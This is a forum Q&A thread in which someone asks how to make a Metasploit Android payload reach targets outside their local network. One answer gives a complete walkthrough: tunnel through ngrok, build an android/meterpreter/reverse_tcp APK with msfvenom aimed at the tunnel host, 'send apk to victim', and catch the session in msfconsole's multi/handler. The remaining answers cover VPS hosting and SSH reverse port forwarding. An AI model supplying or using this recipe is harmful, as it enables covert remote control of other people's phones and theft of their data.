2

I am using metasploit to create a payload for Android phone (for educational purposes).

If my target and my computer are on the same network it works fine. But when my target is outside connected to different network, and using a payload with LHOST = "my public IP", how do I forward the port if the router is not accessible to me (college router). Is there any way?

4 Answers 4

3

You can't.

I suspect you're behind a NAT, and hence you'll need to port-forward from the NAT to your LAN IP.

The other option is hosting something on AWS/DigitalOcean and get an actual Public IP for your server that you can use as your LHOST.

2

You can use Ngrok. This service allows you to create a secure tunnel to your localhost. Then you can connect.

You need to sign up for the service.

On your attacking machine, download Ngrok for linux here.

Open terminal and go to the downloaded zip file. In my case, my file is in/Downloads/ngrok-stable-amd64.zip

 cd Downloads/
 unzip ngrok-stable-amd64.zip

 # set Permissions
 chmod +x ngrok

 #Authenticate yourself as a user to ngrok service 
 #You will get Authtoken as you login at 
 # https://dashboard.ngrok.com/get-started/setup
 ./ngrok authtoken <paste authtoken here>
 
 # There are many options use 
 ./ngrok --help #to see other options

 # start tcp service over internet
 ./ngrok tcp

As you run the above command you should see like these(ngrok tcp) As you run the above command you should see the above image.

Check the forwarding line, in my case tcp://4.tcp.ngrok.io:12934 -> localhost:4444

Now while creating your apk with msfvenom do this:

 msfvenom -p android/meterpreter/reverse_tcp  LHOST=4.tcp.ngrok.io LPORT=12934 -o out.apk #Change the LHOST and LPORT according to the output you get in forwarding.

Send apk to victim

Now in msfconsole:

 sudo msfconsole -q
 use exploit/multi/handler
 set payload android/meterpreter/reverse_tcp 
 set LHOST localhost 
 set LPORT 4444 # as seen in my case change accordingly
 exploit 
1
  • I Hope these should work for everyone, Besides these you can even use cloud services like aws, google cloud, many more, use there service called ip tunneling(they will charge u for these, since you are using there premium service). Check for ngrok premium plan for more features.
    – Nabeel NJ
    Commented May 2, 2021 at 17:02
1

You should be able to have a port listening for the reverse shell and that port must be exposed to internet. If you can't manage the router, you should hire a server on some cloud to do this.

1

You cant go directly to your PC, however if you have a VPS with a public IP you can setup a reverse port forward from your computer to the VPS with SSH.

I personally do this all the time for using rmate with vscode via my ~/.ssh/config

Host ex example example.moo.com
  HostName example.moo.com
  User username
  IdentityFile ~/.ssh/id_rsa
  RemoteForward 52696 127.0.0.1:52698

though it can also be done directly via command line

ssh -R 52696:127.0.0.1:52698 [email protected]

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .